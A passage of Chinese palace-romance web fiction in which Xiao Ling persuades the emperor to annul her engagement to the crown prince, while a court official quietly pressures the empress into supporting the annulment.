“殿下明察秋毫,会相信臣女是清白的么?”
他那深如漆墨的眼底起了些波澜。
似是没想到萧苓会反问他,他仔细回想方才一幕,明明看到她们姐妹拉扯,最后萧柔摔倒。
其中原委,一看便知。
即使不是萧苓推的,但萧柔也是实打实受了伤。
难不成她还会不顾身孕栽赃陷害萧苓么?
思及此,容钦南皱眉,“此事以后再议,来人,回东宫。”
他向来不喜欢被人拿捏,如今被萧苓问住,反倒觉得有些烦躁。
这一点也不像平日里温顺的她。
言罢,容钦南抱着萧柔从她身侧走了过去。
就在擦肩之际,迟疑一瞬,但很快便大步离开。
萧苓侧身,让过路。
更漏声阵阵,距离从偏殿等候太监传旨引路到勤政殿面圣,已经过了一个时辰。
“传镇国侯府萧苓觐见——”
萧苓低眉垂面,光滑冰冷的地面映着她看不出情绪的面容。
仿若薄雾,始终隔了一层。
殿门无声闭合。
借着蒙昧天光,萧苓站在大殿中央,毕恭毕敬朝着高坐龙椅上的皇帝俯身跪拜。
额头触地,深深叩首。
“还请陛下恕臣女大不敬之罪。”
“你何罪之有?”
帝王威严,压得让人直不起脊梁。
“请陛下允准,许臣女与太子殿下解除婚约。”
24. 退婚
萧苓的声音不是很大,满殿寂静,还带着空灵回音。
随后便是长久的沉默。
天子威重,萧苓不免有些忐忑,但一想起兄长信上所言,掩在袖中的手指根根攥至泛白。
极力保持着镇静。
“你受委屈了。”
皇帝独坐高阶之上,似乎是叹了一声,他的声音透过层层流苏,缓和了些威严。
不知为何,她在听到这句话后,忽然鼻子一酸,眼眶莫名发涨。
理智在一瞬间溃不成军。
但她依旧垂首,艰涩开口。
“陛下圣明,在臣女父兄出征前曾许下若是得胜归京,可讨要空白诏书的诺言,现在臣女斗胆请陛下兑现承诺。”
躬身在一旁伺候的太监闻言一震,险些连拂尘都拿不稳,偷偷觑了陛下一眼。
天子一谕,可免死罪。
就算是萧氏有朝一日真的犯了事,有了这张诏书,也可保萧氏百年荣光。
且不说为了此次战役,萧氏损失惨重,相当于是拿命换来的功劳。
为了退婚,就这么用掉,未免太可惜了些。
再者,太子仁厚,能成为太子妃,是多少名门贵女想求都求不来的,萧苓倒好,以军功来要挟陛下退婚。
竟然与皇室作对。
莫不是最近侯府遭难,这位萧姑娘得了失心疯吧?
陛下正单手抚额,微微阖着双眼,听到此话也是抬起眼皮。
终于肯把目光投向跪在阶下的萧苓。
又是一阵缄默,简直落针可闻。
萧苓屏住呼吸,只觉地板冰冷,凉意直入肺腑。
从她看到绢布上字迹那一刻,她就已经做好心理准备。
是生,是死,全在皇帝一念之间。
但她一定要去博一博。
“确有此事。”
皇帝只落下四个字。
嗅着从博山炉丝丝缕缕燃起的龙涎香,萧苓气息稍稍平复,只要陛下肯认,这就好办。
“这是臣女兄长萧负雪找人送回来的,请陛下过目。”
她双手举过头顶,莹白手心上放着的正是那根竹管。
太监躬身下阶,从她手中接过。
重返幕帘后,打开竹管,展开绢布,拖着尖利而悠长的腔调道:
“承蒙天恩,赐臣空白诏书殊荣,本应效先人君子之节,然念及臣妹年幼,生母早逝,三年来,无一日不盼婚期,却闻东宫新纳良娣。臣每思于此,百感交集。”
“臣自知皇恩浩荡,此举有负陛下。今生死一线之际,乞求陛下垂怜,许臣妹与太子殿下解除婚约。若幸得天命庇佑,臣得生还,臣愿以残躯自请戍边,若无皇命,绝不还朝;若天不眷臣,臣九泉亦可阖目。”
“陛下圣明,念臣慈兄之心,许臣妹生路,若有来生,臣仍做陛下手中刀,为陛下拓土开疆。”
“臣萧负雪顿首。”
太监念到最后,嗓音软和了些,竟也有些动容。
目光略有些不忍的瞥向了阶下的萧苓。
她仍然保持着跪拜的姿势,素白衣裙落拓大方。
只是陛下……
那太监虽是皇帝身边的老人,但一时半会也摸不准皇帝的心思。
只能垂首等待着。
顷刻后,皇帝终于启唇,“让太子过来。”
-
东宫。
容钦南在殿门外负手而立,太医已经来过,只说萧柔只是擦伤,身体和腹中胎儿没有大碍。
他不禁蹙眉。
内心已经波涛汹涌。
他从没见过那样的萧苓,素衣白氅,看向他的眼神,仿佛尖锐的冰刺。
以往相处时,萧苓从来不敢正视他,永远都是低眉敛目,时不时应和一声。
也绝不会做出会推人的举动。
他不禁又联想到另外一件事。
那萧苓进宫……
难不成……真如外界传言般进宫是为了让他履行婚约?
所以她失态,是因为他真的冤枉了她?
容钦南又将陪同萧柔去御花园的宫人都叫了过来,问询了两句,面色不由得愈来愈低沉。
“你们也没有看见?”
“回殿下,是良娣先叫住的萧姑娘,之后良娣就不让奴婢跟上去了,旁的奴婢也不清楚。”
宫人们战战兢兢,跪成了一排。
容钦南摁了摁眉心,似乎是心有郁结,挥手让人下去了。
一边是萧柔,一边是萧苓。
他一时竟无法抉择。
还不等容钦南计较出什么,这时宦官前来传话,说是陛下让他去勤政殿。
许久未等太子回应。
宦官壮着胆子抬眼去看容钦南,只见他面色不虞,吓得将头低下去,不知是哪里惹到了这位太子殿下。
“父皇可说了什么事?”
那宦官自是不知,摇摇头,“陛下没有明言,只是……”
容钦南正心烦意乱着,瞥向他的目光不觉夹了些冷意。
“只是什么?”
“萧姑娘也在勤政殿。”
似有一阵风抚平容钦南紧蹙的眉头,他竟然低笑出了声,令那宦官的头垂得愈发低。
不免诧异道,太子这是怎么了?
但不等他反应过来,容钦南便拂袖离去。
等容钦南行至勤政殿门前时,天色渐渐暗淡下来,厚云积卷,有些灰蒙蒙的。
时不时还传来几声闷响。
他无暇顾及外界变化,心思活泛全部落在了萧苓身上。
萧苓进宫定是为了他二人婚约而来。
暂且不说这桩婚事搁置三年,是时候该张罗了,就说这段时间镇国侯府出事,府上那两个女眷都是不顶事的,能指望的就只有萧苓了。
她这个时候肯定需要他。
这般想着,容钦南唇角笑意不减,蜷长的睫毛微垂,遮住一双潋滟的桃花眼。
直到推开厚重殿门的前一刻,他的唇角仍然勾起了一抹微扬的弧度。
_
“吱呀——”
天光乍泄,浮尘在一方沉浮,与丝丝缕缕升起的香雾交织着,竟凝成密不透风的网。
将殿中央那道瓷白的身影给笼罩住。
开门声如道叹息像风似的传入萧苓耳中。
她悄悄闭了闭眼,抿了抿有些发白的嘴唇。
等殿门再次阖上,一道高大的身影顿了顿,随后也跪在她的身旁,将透过的光遮了个严严实实。
裹挟进来的风与地砖上的冰冷让萧苓的身体一齐变得麻木。
随后她便听容钦南恭谨有礼道了声“父皇”。
皇帝隔着珠帘,看着阶下并肩跪着的两人,眸光不觉沉了沉。
无论是品性,抑或是家世。
萧苓都无可挑剔。
即使他三年前没有梦到萧苓是天生凤命,也会选定她做太子妃的。
皇帝思绪一顿,如今萧苓要与容钦南解除婚约,怕是也没有机会应了凤命一说。
而且,萧家经此一事,怕是要一蹶不振了。
还真是有缘无分。
他将目光落在了萧苓身上,像是再做最后挽留。
“萧苓,再问一次,你不后悔?”
在容钦南没到之前,皇帝就这样问过她。
萧苓深深叩首。
“回陛下,臣女不后悔。”
这次,她也同样回复,“臣女无悔。”
皇帝似是轻叹出声,又把视线投向了还在一旁等待旨意的容钦南。
“今日叫太子过来,是有一事要告知太子。”
容钦南一张脸上辨不出情绪,语气却藏着隐隐期待。
若是他没有猜错,接下来该是父皇赐婚的旨意。
“儿臣但凭父皇吩咐。”
皇帝深深看了太子一眼,“三年前,朕为你与萧苓定下的婚约……”
容钦南垂首等待着,手指轻微攥起,浓厚的睫羽遮住眼底势在必得的神色,唇角是抑制不住的淡笑。
他知道,他很快就要得偿所愿了。
下一瞬,帝王声音无情袭来,“不作数了。”
不作数。
容钦南的笑意在唇角瞬间凝固。
他好似没有反应过来,手指却下意识紧紧攥住。
“什么?”
怎么会这样?
父皇为何说他们的婚约不作数了?
萧苓似是没有听到容钦南的质疑,忐忑的心总算落了回去,轻声对皇帝道谢。
眼泪再也忍不住似的,在眼眶打着转。
“谢陛下成全。”
“谢?”
容钦南反应过来,蓦然回首看着跪伏在地上的萧苓,似是不可置信,连声音都变了调。
“萧苓,你知不知道你在说什么?”
萧苓顿了顿,她从来时便做好了与容钦南坦白的准备。
她并未抬眼看容钦南,依旧低垂着眼眸,看着光滑地面倒映着自己辨不清表情的面容。
脑海中不断回旋着这三年来与他在一处时的点点滴滴,思绪停留最久的,竟然是他与萧柔在一起的画面。
雨夜、树林。
他对她好,确实不假。
可剥去那层蜜糖般的外壳,剩下的就只有谎言和欺骗。
她一定要解除婚约。
不想再和容钦南有牵扯。
萧苓敛回思绪,语气没有怨怼,只是平淡道:“萧苓心意已决,
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不会再更改。”
她的声音没有波澜起伏,却好像一根极轻、极细的线不断变长,拉扯着容钦南那颗不断跳动的心脏。
他皱眉,平日里淡然自若的神情尽数破裂。
原来她进宫竟然是为了解除他们的婚约!
“没有孤的允许,你怎么敢?”
萧苓听出他语气中的盛怒,不由得诧异。
他难道不应该高兴么?
他喜欢的一直都是萧柔。
更何况,向陛下开口要解除婚约的是她。
有什么风险都牵扯不到他身上。
他这个时候谢恩都来不及。
又怎么会反对呢?
容钦南站起身,似乎是察觉到自己失态,深吸了一口气,平复呼吸后拱手道:
“启禀父皇,儿臣不同意。”
隔着厚重的珠帘,能听到龙椅之上传来布料擦地的窸窣声响。
随后便是珠帘相撞的脆响。
随着容钦南的声音落下,萧苓原本放下的心又提了起来。
她没有想到容钦南竟然会真的反对。
那陛下……
一时间,她死死咬着牙。
垂首听着那缓慢踱过来的脚步声。
和自己不断加快的心跳声。
皇帝离他们愈来愈近,太监也亦步亦趋跟在身后。
最后停在了容钦南面前,他看着微微躬身拱手的容钦南,语气阴冷似水。
“优柔寡断,可真不像朕的儿子。”
-
与此同时,锦绣宫。
殿内经年熏着令人凝神静气的檀香与花果香气,青烟缭绕,笼成淡淡薄雾。
许皇后眉目安然,跪坐在案几前,手指间转动着沉香手串。
此时虚掩的殿门一时响动,她闻声并未抬眼,以为是哪个没教过规矩,进殿洒扫的宫人。
“退下吧,不必洒扫。”
并未有人回应。
许皇后抬起淡然眉眼,却发觉殿内除了她,空无一人。
又转眼看了下支摘窗外的天。
此时阴沉沉的,已然狂风大作。
怕是要落雨。
应该是被风吹开的吧?
她没太在意。
刚要将视线落在微敞的殿门时,紫檀雕花屏风处却是闪过一道身影。
那人身量极高,轮廓幽绝。
许皇后转动手串的指尖一顿。
就连眼皮也跳了一下。
“臣见过皇后娘娘。”
男人逆光进殿,光影在他冷寂眉眼中跃动、沉落,最后凝成攀上眼底的那点霜色。
“是你?”
“你是怎么进来的?”
那人没有回答。
毕竟宫里人都知晓皇后娘娘每日下午这个时辰都会在寝殿中焚香静思。
这个时段不可打扰。
自然也不会有人在殿外守着。
许皇后淡然面色不知何时变得不安,声音也隐隐发颤起来。
但她仍是佯装镇定,安然自若的转动起手上的珠子。
可她那发颤的手却是没有躲过男人的双眼。
男人唇角浮起冷笑。
“这是臣第一次私底下找皇后娘娘。”
许皇后听出言外之意,指尖再次一顿。
丝丝缕缕的檀香似乎也抚不平她此时内心波澜起伏。
“你找本宫何事?”
“萧苓进宫要解除与太子的婚约,娘娘可知晓?”
他开门见山,却加重了“太子”两个字的语气。
许皇后心下一骇,迎着光抬眼,才发觉他似笑非笑的眼睛却是冰冷一片。
如窗外此时呼啸的冷风。
她似乎打了个寒颤。
她久居深宫,自是不知萧苓进宫,更不知她要与太子解除婚约。
更不知此人为了萧苓贸然来找她,他与萧苓又是什么关系?
“然后呢?”
许皇后不解。
“请娘娘去勤政殿,劝说陛下,这桩婚事不作数。”
此时“轰隆”一声响,一道雷落了下来。
窗外风雨如晦。
赵景之看着顷刻间落下的雨,又将视线收回,落在许皇后那张保养得宜的面庞上。
唇角勾起一抹适宜的弧度。
“这是臣第一次求娘娘,也是最后一次。”
他突然噤声。
天色倏忽暗了下来,此时从厚重云层中甩下一道闪电。
昏暗的大殿中猛然被照亮,就在此刻,许皇后看见赵景之薄唇一张一合。
他的声音很轻,又被轰隆隆的雷声遮盖,但许皇后还是看懂了。
那是“母后”二字。
25. 认命
又一道闪电落下,殿内蓦然被照亮,很快便重归晦暗。
如此几番,明明灭灭。
许皇后头皮发麻,姣好容颜在一刹那变得扭曲,眼底似有万千种情绪在翻涌。
他知道了!
不是疑问,而是肯定。
他到底知道了什么?
是谁跟他说的?
他又知道了多少?
所有的疑问在心底不断翻涌,但这个问题没人能回答。
这种煎熬,简直要把她的灵魂撕碎。
许皇后深吸了一口气。
即使是再宁远的檀香,她的心也无法再平静下来了。
赵景之说是“请求”,倒不如说是“威胁”。
他在威胁她。
她调整好气息,微微阖眼,又睁开,视线落在了眼前的赵景之身上,手指在不自觉的情况下紧紧攥住了那颗颗名贵的檀珠。
赵景之仍然保持着躬身行礼姿势,可神情却无恭谨模样,甚至正好整以暇的看着她。
“你是怎么知道的?”
许皇后没有立即答应他,语气略微低沉。
目光流连在他的面庞,竟然不自觉地描摹起他清秀雅致的轮廓。
“娘娘说的哪一件?”
赵景之轻笑,“是萧苓要退婚,还是另一件?”
另一件事是什么,他们都心知肚明。
许皇后没有想到赵景之会顾左右而言他,而他的语气又像是浑不在意,心莫名刺痛了一下。
她收回目光,佯装淡然道:“陛下旨意,又岂是本宫能置喙的?”
当初是皇帝下的旨,把萧苓指给太子。
她又该如何让皇帝收回旨意?
“臣说娘娘能,娘娘就能。”
他的声音透着寒,让人如脖颈上缠了根细绳,稍不加注意就勒了上去。
但一双凤眼又是笑着的,冲淡了那几分彻骨寒意。
清疏眉眼间犹自流露不容拒绝之色。
赵景之的言行举止,无不在向许皇后昭示他手里有她的命脉。
她一时怔忪,竟然启唇说了声“好”。
-
皇帝话音刚落,殿外陡然雷雨交加。
将殿内几人的心都震得颤了颤。
容钦南被皇帝斥责一句“优柔寡断”,面色晦暗不明。
径直跪在了地上。
他不知道这是怎么回事。
萧苓好端端的,怎么会莫名其妙退婚?
父皇明明那么满意这桩婚事,又为什么要同意萧苓的请求?
“宁宁,是不是侯府出事,你是被逼迫的?”
容钦南压低声音,侧过脸问萧苓。
眸子里不自觉多了些细碎的光影。
如果这样,那萧苓的做法情有可原,她遭此大难身心俱疲,他可以把婚事往后延一延。
等多久都没关系。
毕竟这件事他是始作俑者,如果他没有插手明月关的事情,萧净和萧负雪也不会出事。
他可以发誓,只要萧苓肯嫁他,他绝对不会让她受委屈。
太子妃之位,还是萧苓的。
但前提是,萧苓绝对不能发现他的秘密。
萧苓依旧保持着跪拜的姿势,声音有些沉闷。
“殿下,事已至此,臣女无可辩驳。”
容钦南没想到她竟是铁了心要退婚,眉眼一沉,“宁宁,孤……”
下一瞬,他的话便被皇帝生硬的语气截断。
“行了,纠缠不清,成何体统?”
皇帝缓缓踱步,行至萧苓跟前,在她视线内落下一小片明黄的衣摆。
上面绣着的龙纹无不彰显天家气度。
她一时忐忑,摸不准陛下到底是什么意思,目光依旧低垂,光影落在睫羽给眼底投下一片阴影。
皇帝驻足一会,又转身走到容钦南面前。
“朕给你二人定下婚约已有三年时间,若是顺利,年初就该定下婚期。别以为朕不知道,是太子一再拖延,拖到了今日,甚至纳了萧家的二小姐做良娣,这不是太子所求的么?现在这幅做派又是在干什么?”
容钦南皱眉,他试着张了张嘴辩驳,可在看到皇帝铁青着一张脸,却是什么话也说不出来了。
他当初的确不想履行婚约,萧家是他眼中的一根刺,连带着觉得萧苓也是呆板无趣。
可他想错了,他时到今日才想明白——
他真正喜欢的是萧苓。
而不是萧柔。
从当年中秋夜,从萧苓站出来的那一瞬间,他就对她一见钟情了。
只是他不敢承认而已。
所以在遇到了与萧苓两三分相似却又比她更懂风情的萧柔时,他无可避免的沦陷了。
“父皇……”
他跪得笔直,想请皇帝收回成命。
“难不成太子想让朕言而无信?”
皇帝转身从太监手中拿下那块绢布,在容钦南茫然目光中甩落在他的身上。
“你自己看吧。”
语气冷冰无情。
染满墨迹的绢布被容钦南攥在手里,他素来博学,能一目十行,常得太师太傅夸奖。
但眼前这寥寥数段,他却看的十分艰难。
这是萧负雪呈给父皇的。
他想拿军功兑现帝王承诺。
等阅完后,容钦南的心仿若塌陷了一块,指尖犹自颤抖。
萧负雪他怎么敢?
他怎么敢提出这样的要求?
“是不是萧负雪逼迫你的?其实你并不想与孤解除婚约,是不是?”
容钦南反应过来的第一件事,便是找萧苓求证,他希望这一切都不是出于萧苓的本意。
绢布随着他侧身的动作飘落。
正好落在萧苓垂落在地的素白衣摆上。
她移落目光,瞥到上面兄长熟悉的字迹,呼吸一滞,眼眶没来由的发酸。
她恍惚间记起兄长出征前,曾经说的话——“等兄长回来,给宁宁择门好婚事,宁宁喜欢谁就选谁。”
所以兄长当时并不全然是为了安慰她,他说的都是真的。
他用拿命换的空白诏书,就是为了能让她在这桩婚事里全身而退。
原来,萧负雪早在那时就已经给她选好了后路。
可是他再也看不到她嫁人的样子了。
萧苓敛回思绪,对于容钦南的质问,她摇摇头。
“殿下,即使没有这道诏书,臣女还是会这样做。”
她的语气带着笃定,让容钦南不能再自欺欺人下去。
“你……”
“既然太子已经知晓,这婚事就这此作罢。朕改日会昭告天下,萧苓与太子,婚约废除,往后各不相干。”
皇帝再度启唇,眉目间却是染上淡淡疲倦。
那太监很会审时度势,见皇帝摁了摁眉心,轻声道:“陛下到了该用药膳的时辰了。”
言外之意,这件事就此尘埃落定。
容钦南与萧苓,再无瓜葛。
萧苓目的达到,也不再久留,深深叩首。
“谢陛下。”
皇帝已经背过身去,淡淡“嗯”了一声。
他正要抬脚往阶上走,只听背后用容钦南阴恻恻道:
“各不相干?父皇,儿臣可要提醒您当初做的那场梦。”
萧苓本来已经站起身,听到这话身形一滞。
犹疑了一瞬。
“住口!”
皇帝鲜少有发怒的时候,此时萧苓和太监已经跪在了地上。
容钦南起身,事到如今,戳破了那层窗户纸,他现在毫无顾忌。
他轻甩玄色衣摆,眼尾攀上淡淡绯红。
“父皇,当初是您说萧苓天生凤命,让儿臣娶了她,以保江山社稷。如今她不嫁儿臣,那凤命又应在了谁的身上?”
正好雷声甩落,将他的话砸在了在场每个人的心里。
这简直荒谬!
太监被吓得腿脚一软,哎呦,太子殿下怎么什么都往外说?
他壮着胆子偷偷瞄了一眼陛下。
皇帝面色晦暗,目光已与殿外凌厉雷霆别无二致。
太监缩了缩脖子。
“太子,你难道疯了不成?”
容钦南同样与皇帝对峙着。
“父皇,儿臣只是道出实情而已。”
萧苓闭了闭眼,脸上浮了层死寂。
跪伏已久的身子摇摇欲坠。
怪不得三年前,陛下一眼就相中她做太子妃。
原来是因为一场梦。
什么凤命……能安定社稷?
如果她身上真有什么凤命,又怎么会过得如此艰难?
随后,萧苓眼皮止不住跳动,莫名有种不好的预感。
如果她身上真的有什么凤命,普天之下,能应下凤命的,除了皇帝,就只有太子。
如果陛下真的动摇心思,不肯解除婚约,那她该怎么办?
难不成真的要嫁给容钦南么?
不、不成!
肯定还有别的
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法子。
“轰隆——”
雷声唤回萧苓神思,她似乎下定了某种决心。
手指紧紧掐住了手心。
她直起脊背,正要启唇时,又听“吱呀”一声响。
随着凄冷风雨一齐涌进殿的,还有许皇后的声音。
“南儿,切不可莽撞。”
-
殿内倏忽一片静默。
萧苓抬起头。
许皇后来的急,即使由宫人撑伞护送着,但繁复精致的鬓发与半边肩膀仍是不可避免沾染了淡淡水雾。
平日里淡然的眉目此时也是微微蹙起。
“给皇后娘娘请安。”
几人朝皇后行礼。
她颔首,随后朝皇帝福了福身子。
“皇后怎么过来了?”
皇帝有些诧异,此时风雨交加,她身子不好,怎么还冒雨走一趟?
许皇后不动声色瞥了一眼周遭场景,方才站在殿外,殿内争执都听的一清二楚。
目光最终落在了萧苓身上。
但很快又转至皇帝眼前。
“臣妾今日听闻萧姑娘进宫,原是为了退婚一事,所以特来看看。”
皇帝心绪不平,此时见到皇后,犹疑道:“皇后也是来替太子说话的?”
许皇后摇头,神情看不出多大变化。
“不是。”
“母后……”
容钦南浓眉一蹙,见母后与他不是一条心,面色苍白如纸。
他该怎么办?
他还能怎么办?
“既然萧姑娘心意已决,南儿,你就放手吧。”
许皇后从心底叹口气,视线落在容钦南面庞上,目光幽深,她现在有些看不懂他了。
今日这般失态,可不是他平日作为。
容钦南并未答话,眼底却有什么情绪晦暗不明,在奋力翻涌,迫不及待挣开来,泛出隐隐暗红色。
皇帝本就面色难看,此时缓和了些许,但语气仍是添了两分薄怒。
“太子,你究竟要执迷不悟到什么时候?”
容钦南闭了闭眼,仿佛已经尘埃落定,他已经无力回天。
只能僵硬着膝盖,跪在了皇帝面前。
“儿臣今日莽撞,还请父皇责罚。”
似是认了命。
皇帝眼神晦暗,只是瞥了他一眼,当众顶撞,此乃大不敬之罪。
但念及父子情分,他给了容钦南一个台阶下。
“这两日待在东宫,好好反省你错在哪儿。”
“是,父皇。”
萧苓莫名松了口气。
随着到了皇帝服药的时辰,除了皇后,萧苓和容钦南行礼告退。
殿外风雨还未停歇,一时狂风大作,将冷雨全部往檐下扑。
萧苓一时不防,裙摆被淋湿了半边,往后退了两步。
她没有料到会下雨,因而也没有带伞。
本想等雨停再走,但此时容钦南伫立在她身旁,屏退了想要上前撑伞的宫人,静默地看起了雨帘。
她一时进退两难。
目光被迫转向了檐外的瓢泼大雨,甚至在想,若是直接淋雨回府,再让流云煮上姜汤,倒也可以。
正当她漫无边际地想着,耳边突然传来容钦南的声音。
“萧苓,是孤小瞧了你。”
此时帝后俱在殿内,想来容钦南并不会对她做什么。
萧苓平静道:“臣女衷心祝愿殿下与臣妹琴瑟和鸣,天长地久。”
她微微垂眸,似乎是想到什么,从腰间取下佩戴着的玉佩,双手奉给容钦南。
“这是当年殿下送臣女的白玉夔龙佩,见此玉佩,如与殿下朝夕共处。如今婚约已除,臣女便将此物归还殿下。”
归还了玉佩,从此她与容钦南再无瓜葛。
那枚玉佩如盈盈湖水盛在萧苓手心。
容钦南瞥了一眼,眼底蕴起薄怒,原本心里还存有一分希冀,但此时颜面被当着那么多人放在地上磋磨,又被萧苓再三拒绝,从牙缝里挤出几个字:
“萧苓,你好样的!”
言罢,头也不回地往雨里冲,身后的宫人有眼色随即跟上撑伞。
很快便隐在雨幕里。
萧苓皱眉,只能握紧了被人遗忘在手心的玉佩。
她正要收回目光,忽然瞥见什么。
就在不远处,朱墙碧瓦,空旷的宫道上,伫立着一道绯色官服的身影。
他撑着玄色骨伞,长身玉立,正遥遥看了她一眼。